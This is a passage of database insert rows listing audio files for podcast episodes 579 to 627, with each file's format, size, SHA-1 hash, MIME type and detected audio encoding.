(579,'hpr0579.mp3','mp3',3090998,'d43a59a53bb4f09ab3631819e1ab5a2406faa27c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Monaural'),
(579,'hpr0579.ogg','ogg',2718185,'22e4a3229048da17a15a58918d14cacbd89f2305','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(579,'hpr0579.spx','spx',2873493,'ea455154e8bfcb6c7619df6911b06088bcbe53bc','application/ogg; charset=binary','Ogg data, Speex audio'),
(580,'hpr0580.mp3','mp3',24220560,'e53df065f23a769a04faacd2d83028e39284e509','audio/mpeg; charset=binary','MPEG ADTS, layer II, v1,  64 kbps, 44.1 kHz, Stereo'),
(580,'hpr0580.ogg','ogg',23000404,'f6d11fcbd838d4a8896781bd117b5779d44765f6','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(580,'hpr0580.spx','spx',11174875,'7cef38efc141be636e16e3ace1059258c5f903b9','application/ogg; charset=binary','Ogg data, Speex audio'),
(581,'hpr0581.mp3','mp3',26917650,'feba021c1c18b6433df58300e6a8ad0dcf6485f9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(581,'hpr0581.ogg','ogg',13987023,'3a6ecd43e57f9227b7dffad6603653ef1ad3a5ef','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(581,'hpr0581.spx','spx',6010978,'77132ed7c2f16a19ce840f22a0fdf8d658beabc8','application/ogg; charset=binary','Ogg data, Speex audio'),
(582,'hpr0582.mp3','mp3',12197879,'6bd36cab680f8bc025c89f3ba76fb9ce5b077e95','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(582,'hpr0582.ogg','ogg',7842914,'1f553bf81d981d015a8036f8d8f0d41eb7706a7a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(582,'hpr0582.spx','spx',2800919,'0662aad83008cd75e5a3ecefb57f2d02e7ca66f4','application/ogg; charset=binary','Ogg data, Speex audio'),
(583,'hpr0583.mp3','mp3',4440182,'8a6743ab30eafcf255eb490775bcaee0eb8386e6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(583,'hpr0583.ogg','ogg',4155833,'ab5426369a7398fdd147a44e770a67ff4ada68bd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(583,'hpr0583.spx','spx',3482301,'cd4bac6c9c35229919b81f9eb481123521488667','application/ogg; charset=binary','Ogg data, Speex audio'),
(584,'hpr0584.mp3','mp3',36246566,'ad839965124455a69521b81dc3c1ff9fef6fcad0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(584,'hpr0584.ogg','ogg',22305611,'afab478765b294469390567a29ceb7023e9aa9b4','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(584,'hpr0584.spx','spx',8322117,'36e8561a8c8e7954b4dadbf88aeb07e84c06175a','application/ogg; charset=binary','Ogg data, Speex audio'),
(585,'hpr0585.mp3','mp3',22966297,'e6c2d85ce7464e0f278f9e0b5455ac451f806e44','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(585,'hpr0585.ogg','ogg',16988386,'8805262614e50f3a6a106fb9d61a2c544056e4e2','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(585,'hpr0585.spx','spx',5273034,'37abb69b8c6286eca964c82d23058019d379a514','application/ogg; charset=binary','Ogg data, Speex audio'),
(586,'hpr0586.mp3','mp3',7798784,'cc9820bc7ef703c8444f94e8b0550d8ffd0f47f8','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  64 kbps, 24 kHz, JntStereo'),
(586,'hpr0586.ogg','ogg',7296933,'e8472c6df3ca66134fe62b111a61e6953be1b63d','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 24000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(586,'hpr0586.spx','spx',3581228,'52046e66db97bd067ed459556419b62d90e7f389','application/ogg; charset=binary','Ogg data, Speex audio'),
(587,'hpr0587.mp3','mp3',18926669,'fceabf0158656c3ba873afaa533a587050437156','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(587,'hpr0587.ogg','ogg',14582606,'d4c2924b33f40a512bc3ee32c14a89bb0033525c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(587,'hpr0587.spx','spx',5635399,'a86d79fb5c35ea28c12948cd8b47093f4b870527','application/ogg; charset=binary','Ogg data, Speex audio'),
(588,'hpr0588.mp3','mp3',2212477,'5fa565c23a19937bb8ac12075a972134603cb173','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Monaural'),
(588,'hpr0588.ogg','ogg',1943645,'609d7a5ac0f49ad010e9955d020afa8eca373e0d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(588,'hpr0588.spx','spx',2022287,'93f28fbb83ff1196d2f92a995d5d47d709577ea0','application/ogg; charset=binary','Ogg data, Speex audio'),
(589,'hpr0589.mp3','mp3',8487266,'1834fe895e350934a6422a5238bec70b2ec11a15','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(589,'hpr0589.ogg','ogg',8848507,'b258588f597cfed126b3efa197f3eec9e93d5a85','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(589,'hpr0589.spx','spx',3790593,'f2afc1126216ee2293e273f25c6700471aae5df1','application/ogg; charset=binary','Ogg data, Speex audio'),
(590,'hpr0590.mp3','mp3',39091561,'1935e80bc00cc40628ac8b7d42d4e7f938e0d25a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(590,'hpr0590.ogg','ogg',25888897,'9822f16aee13f71da329b151516f2402213db3eb','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(590,'hpr0590.spx','spx',8975445,'47d37674273c0ee08cff33cb23047a0a98b1ed22','application/ogg; charset=binary','Ogg data, Speex audio'),
(591,'hpr0591.mp3','mp3',15283264,'8b487c5c38cac0c62268cf3f26a7532513dad346','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(591,'hpr0591.ogg','ogg',19152262,'3b5368d21366253fa7790e81c328f196570ea77d','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(591,'hpr0591.spx','spx',3509104,'d8c4fe7883f4e2a6c2bf2e52a1f39b3ef3e4a7d2','application/ogg; charset=binary','Ogg data, Speex audio'),
(592,'hpr0592.mp3','mp3',2879843,'352a06ba111479c8f86ac77b92ef0c422d916d65','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Monaural'),
(592,'hpr0592.ogg','ogg',2157957,'fd96921c46c18485e98291100cd71f64601de267','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~30444 bps, created by: Xiph.Org libVorbis I'),
(592,'hpr0592.spx','spx',2560089,'6854a76a30fe82472b6969778ba2a9c19d22d5da','application/ogg; charset=binary','Ogg data, Speex audio'),
(593,'hpr0593.mp3','mp3',13076176,'7bca2dc5dd7544cb6a3080d6b1e85fa4cf9c716c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(593,'hpr0593.ogg','ogg',10673784,'a789635c105be1a2eef115c064b8f83a7b4f13c9','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(593,'hpr0593.spx','spx',3002527,'b0f8de0c8086dda1cc43a77b36975e04473a2b48','application/ogg; charset=binary','Ogg data, Speex audio'),
(594,'hpr0594.mp3','mp3',34256273,'b13b21d2bab10436b0833301dcd827becac55b49','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2, 128 kbps, 22.05 kHz, Monaural'),
(594,'hpr0594.ogg','ogg',12302504,'ad4f181547ee880f54dd49e24fdaa3867040b8cf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(594,'hpr0594.spx','spx',7649990,'48a3f020d621e340d9829baaf63cefdc8bda7df7','application/ogg; charset=binary','Ogg data, Speex audio'),
(595,'hpr0595.mp3','mp3',19470756,'ebc04e981be7f957f3bf2db850a0246862a52d59','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(595,'hpr0595.ogg','ogg',14359374,'72477bd069ac9b6315ec6514feb9944e65088db7','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(595,'hpr0595.spx','spx',4471016,'724f5aba25b5587b0513e7974720494eef53fef9','application/ogg; charset=binary','Ogg data, Speex audio'),
(596,'hpr0596.mp3','mp3',3504128,'23c44c433f162dc1bab54380b35bc00f7e4dd775','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(596,'hpr0596.ogg','ogg',3304832,'dc70c6ab1fd5b5ad28da4c77688e7dae17d81903','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(596,'hpr0596.spx','spx',1564642,'140154586817e7d54f8dca8949464ab1aa057415','application/ogg; charset=binary','Ogg data, Speex audio'),
(597,'hpr0597.mp3','mp3',42832503,'29076bc16f8392356ada8cc518cb1704b2738022','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(597,'hpr0597.ogg','ogg',30150017,'b8fdf8da4a9b3ed82bc7ac5899f3fee883d86500','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(597,'hpr0597.spx','spx',9853853,'0962f75957ab184db79609d6957462bd9572f72c','application/ogg; charset=binary','Ogg data, Speex audio'),
(598,'hpr0598.mp3','mp3',27768405,'7bb4ea72ec2aad6697e8d71aba850522be417f13','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(598,'hpr0598.ogg','ogg',19305467,'b0cea2f975a3210844d856589a3da3c9b5c189f7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(598,'hpr0598.spx','spx',8268040,'83abc90b4920cffd0792c7060d729a27ede353fc','application/ogg; charset=binary','Ogg data, Speex audio'),
(599,'hpr0599.mp3','mp3',16059356,'5021bd10e6ee6c1bb39650eda1d8bf2d19d2df6d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(599,'hpr0599.ogg','ogg',20105096,'16278d87273860f7010ec41689d0d4ef8f13831e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(599,'hpr0599.spx','spx',7374897,'581fa086800bf7022891714b034ea39f3e9692fb','application/ogg; charset=binary','Ogg data, Speex audio'),
(600,'hpr0600.mp3','mp3',6199296,'d02daadf7157aff80aa83d6acb3657f06eecdddb','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 32 kHz, JntStereo'),
(600,'hpr0600.ogg','ogg',7066089,'dd3e287cdf613ddfa743742ec5e3db6578ec3c3f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 32000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(600,'hpr0600.spx','spx',2676244,'8570153ab24671a21fcf828c4dabf426aad06687','application/ogg; charset=binary','Ogg data, Speex audio'),
(601,'hpr0601.mp3','mp3',9523200,'d938c445e8af4af3e1147790e10a36da09d10e66','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(601,'hpr0601.ogg','ogg',7811494,'b0a4592ece95dcca24cff11b6773a26e844a5bd4','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~128000 bps, created by: Xiph.Org libVorbis I'),
(601,'hpr0601.spx','spx',2186305,'b5c44cbd09612c513d969848b1c50bb9e32350dd','application/ogg; charset=binary','Ogg data, Speex audio'),
(602,'hpr0602.mp3','mp3',10714042,'b6456722ac1d5cfe0a2c873c43e119881799899c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(602,'hpr0602.ogg','ogg',10734450,'d014ca71ba4b8fd649c29fa77784fcd5e4261715','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~86000 bps, created by: Xiph.Org libVorbis I'),
(602,'hpr0602.spx','spx',7751902,'2063e8b0154c9255b23058efa7bf3bd6155fc4db','application/ogg; charset=binary','Ogg data, Speex audio'),
(603,'hpr0603.mp3','mp3',23595936,'7a2447eed9acd569cc66237fefed45348fb88f57','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(603,'hpr0603.ogg','ogg',17453177,'d6f9d2f8d08325bee7859c356a657dbea0d83f54','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(603,'hpr0603.spx','spx',5437006,'b0c0c32bafecb8582bca58ef81125e5a3b47e1fd','application/ogg; charset=binary','Ogg data, Speex audio'),
(604,'hpr0604.mp3','mp3',7504749,'e3a82b84e41fffa4fbfbceae24a90eb827d3dbcf','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(604,'hpr0604.ogg','ogg',7003330,'5e38cc57370c4289215c9c0aea508f5f382111ae','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(604,'hpr0604.spx','spx',3351956,'136b03525c19258f724197f836fe16d00358ffd3','application/ogg; charset=binary','Ogg data, Speex audio'),
(605,'hpr0605.mp3','mp3',10332129,'cfa6bcc8df7875184dbda75607a7cdd1110340f5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(605,'hpr0605.ogg','ogg',10009402,'0f4ed888461ab765e58cfec0309003bd9ab8fa0a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(605,'hpr0605.spx','spx',2372210,'1595c95862141ea4417c8870ce399d5f57b943ff','application/ogg; charset=binary','Ogg data, Speex audio'),
(606,'hpr0606.mp3','mp3',46829455,'cb6bf969b226e04da6a184cef693d5d8d7762239','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 160 kbps, 44.1 kHz, Monaural'),
(606,'hpr0606.ogg','ogg',21788845,'8e433fd43a8b2061a1eadc688299c316d9a6a99c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(606,'hpr0606.spx','spx',8365951,'f31dc4caf60d86215b5a29bfb30b79cd6712ae4a','application/ogg; charset=binary','Ogg data, Speex audio'),
(607,'hpr0607.mp3','mp3',2871619,'63344ed37c693f8f3330f1e7d5c2d6e7bcfb6e11','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III,  v2.5,  32 kbps, 8 kHz, Monaural'),
(607,'hpr0607.ogg','ogg',2702723,'34190d52d99c11250576f45f7e141718c28543d6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 8000 Hz, ~19600 bps, created by: Xiph.Org libVorbis I'),
(607,'hpr0607.spx','spx',3723814,'e1265c60061ea78bd65059e8b9a0eb7fdf9a378c','application/ogg; charset=binary','Ogg data, Speex audio'),
(608,'hpr0608.mp3','mp3',6755027,'d0e94c8dfc4de799555b1897672f6af6055a4c90','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(608,'hpr0608.ogg','ogg',6301394,'a1da30eaa45c094798b02f51f10b600357110813','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(608,'hpr0608.spx','spx',3017144,'70244b094c1c64cda2df602e4d827a5a227b60d7','application/ogg; charset=binary','Ogg data, Speex audio'),
(609,'hpr0609.mp3','mp3',12712449,'f0d174c9976a1f89d9e812acbdd57be7cdb63974','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(609,'hpr0609.ogg','ogg',12529581,'e2db0a86eeeb9216264567b68c30a8fd6622bde5','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(609,'hpr0609.spx','spx',2915242,'d5d530aae75f472a6b678ccb48caaa6c4255d333','application/ogg; charset=binary','Ogg data, Speex audio'),
(610,'hpr0610.mp3','mp3',20517939,'65ca1241a69de6aefc78d356435f81aa8467ee9a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(610,'hpr0610.ogg','ogg',17346793,'66a3896f28152eec7147771766a8417124ea24d6','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(610,'hpr0610.spx','spx',4711320,'c7344d8672e1623e2d99ddaa19db7840484f59d7','application/ogg; charset=binary','Ogg data, Speex audio'),
(611,'hpr0611.mp3','mp3',34220032,'0b4e8a9da42b52eab03f916d361a7dc1bb743a30','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(611,'hpr0611.ogg','ogg',24922661,'988bb2aff428d7462194ca59790af4128a790f35','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(611,'hpr0611.spx','spx',7641598,'d66d511c8ef3f1535347605908c2fdff0d4e18a5','application/ogg; charset=binary','Ogg data, Speex audio'),
(612,'hpr0612.mp3','mp3',16606054,'c3ebd1b384f5b87b64ecd2e3088639af2febd319','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 48 kHz, Stereo'),
(612,'hpr0612.ogg','ogg',14258490,'51d1024361774bfb7013dc2695602a7a8c02f0bc','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(612,'hpr0612.spx','spx',3813189,'3c7834feb5cf97a605ea8c71ec3d4d1c227655ff','application/ogg; charset=binary','Ogg data, Speex audio'),
(613,'hpr0613.mp3','mp3',13158400,'84a3d49004784741aa576d8a618d41a44d5c762b','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(613,'hpr0613.ogg','ogg',7028804,'ac57b7dfb14414787f773a8e3f546bdc73eb529a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(613,'hpr0613.spx','spx',2938562,'2c480f08c587ef8049b7747069f924c5e7175e7f','application/ogg; charset=binary','Ogg data, Speex audio'),
(614,'hpr0614.mp3','mp3',22218240,'b29ebc83f34d70c6208e44a19a6b30f2202a3ce4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 48 kHz, JntStereo'),
(614,'hpr0614.ogg','ogg',15346584,'fd0601c6564d4cfa5eb2f08d4ed5376c7f86c39f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(614,'hpr0614.spx','spx',5101399,'c308b9a53623d42bb8a826b1317fa1e37d43d922','application/ogg; charset=binary','Ogg data, Speex audio'),
(615,'hpr0615.mp3','mp3',9432716,'b4883327ce99304540885f74a693004c9031a253','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 32 kHz, Monaural'),
(615,'hpr0615.ogg','ogg',9584045,'c12fd54dca5d641ac566ca6a5dfb0e2b4937ea61','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 32000 Hz, ~78000 bps, created by: Xiph.Org libVorbis I'),
(615,'hpr0615.spx','spx',7394465,'4cef6644454ec7f8d05a2de36e48ebbd41004bf0','application/ogg; charset=binary','Ogg data, Speex audio'),
(616,'hpr0616.mp3','mp3',11072358,'46fb1ef78f4717293065dcc2b44c8f1042a8bf4a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(616,'hpr0616.ogg','ogg',9967816,'ae3e87ef8b5ac4a87d5cde63d78c1056753e4e15','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(616,'hpr0616.spx','spx',2542212,'832a2e0b84afd20dc08b94d73156dc752af6c353','application/ogg; charset=binary','Ogg data, Speex audio'),
(617,'hpr0617.mp3','mp3',19958264,'3e0d2f705dca1552055ba52849538e700bc66d44','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(617,'hpr0617.ogg','ogg',22996718,'5a62ad9c2ae403afa0289d2d4eeaf3f2bfaf397c','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(617,'hpr0617.spx','spx',10065275,'69e6cb2c0a8c630469cc1df4b4900232a939b670','application/ogg; charset=binary','Ogg data, Speex audio'),
(618,'hpr0618.mp3','mp3',20233492,'ce206bb824127868e2ec3edbad5a34b325a911a9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(618,'hpr0618.ogg','ogg',17978364,'b4bcb5109be6134ed3f7fc72a2ff16dc7b982dc4','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(618,'hpr0618.spx','spx',4646393,'5fba503bcf530a98fd2936cc680686339a581207','application/ogg; charset=binary','Ogg data, Speex audio'),
(619,'hpr0619.mp3','mp3',41484139,'6425653ec2a789eb2968c4bc57f7315b8d0cd93f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(619,'hpr0619.ogg','ogg',31182026,'85b3c089896409318cc645d5c93b15ed91d21cec','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(619,'hpr0619.spx','spx',9544253,'9e9726f5dd689472a27c224d1e7fa1a5ad34bb01','application/ogg; charset=binary','Ogg data, Speex audio'),
(620,'hpr0620.mp3','mp3',1817483,'f248b6221e2a0daeb21f6c2d43b85689ede85985','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Monaural'),
(620,'hpr0620.ogg','ogg',1575538,'d0881e547cc98a5cdbc9cdcd588d273f9f4b0170','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(620,'hpr0620.spx','spx',1567833,'1d08ac781d5ce56925ac567f95a33b2be365d65b','application/ogg; charset=binary','Ogg data, Speex audio'),
(621,'hpr0621.mp3','mp3',45549583,'e3c334135de0c75dca700080d5cc115f32e819f8','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(621,'hpr0621.ogg','ogg',31206600,'4f21df1b445df4cb94418782cd421b59bbb75c14','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(621,'hpr0621.spx','spx',10458591,'a52ffef3781a9fd8276876b4d243ca33099fc129','application/ogg; charset=binary','Ogg data, Speex audio'),
(622,'hpr0622.mp3','mp3',21188608,'051f0bef231ed7092c5d3da35d6c404c6df2d0e5','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(622,'hpr0622.ogg','ogg',10879126,'a98bbca140337879a03c645db9a98383d4acd5b2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(622,'hpr0622.spx','spx',4731315,'182e07f2efd600c8bd758ccbb263e1326ffe8529','application/ogg; charset=binary','Ogg data, Speex audio'),
(623,'hpr0623.mp3','mp3',16494592,'46745a99336ff57a1c2029d057a02711c9fc5a5e','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(623,'hpr0623.ogg','ogg',8425231,'6b7af0713956d19bd316245014627d49e4a0542b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(623,'hpr0623.spx','spx',3683406,'51e213ed5a994bdc6d52bca45026af3ae4d32646','application/ogg; charset=binary','Ogg data, Speex audio'),
(624,'hpr0624.mp3','mp3',7287964,'718dd51d626a75f1e28e3f4ab5d6b2741a71a4ee','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Monaural'),
(624,'hpr0624.ogg','ogg',5746206,'bddf16f771c213ecb0791a58fa73981f6458c07c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~35333 bps, created by: Xiph.Org libVorbis I'),
(624,'hpr0624.spx','spx',6069428,'bf6450111e094928a91fef41ffe90cff439f77fc','application/ogg; charset=binary','Ogg data, Speex audio'),
(625,'hpr0625.mp3','mp3',95816632,'f7c9edb686d5140740d55e5bcc02d1d40a105cf9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 192 kbps, 44.1 kHz, Monaural'),
(625,'hpr0625.ogg','ogg',76474492,'7b92d6e41f265c0f11bffc46db02993a0190d2b0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~140000 bps, created by: Xiph.Org libVorbis I'),
(625,'hpr0625.spx','spx',14264378,'84ab89ecc23f531d911cc6ad84dc412279fdc773','application/ogg; charset=binary','Ogg data, Speex audio'),
(626,'hpr0626.mp3','mp3',5622856,'78c2a3be0d78fd5fe0333cab5b5854f4ec89a7db','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Monaural'),
(626,'hpr0626.ogg','ogg',4489497,'80662f646d150a236fec31d8811d52d141d9a1fa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~35333 bps, created by: Xiph.Org libVorbis I'),
(626,'hpr0626.spx','spx',4759599,'ea05fb0f49d91083077cdcdf18741f586ea76916','application/ogg; charset=binary','Ogg data, Speex audio'),
(627,'hpr0627.mp3','mp3',15043503,'547e501886f20852288e0bc9c745706ca98c9487','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, JntStereo'),
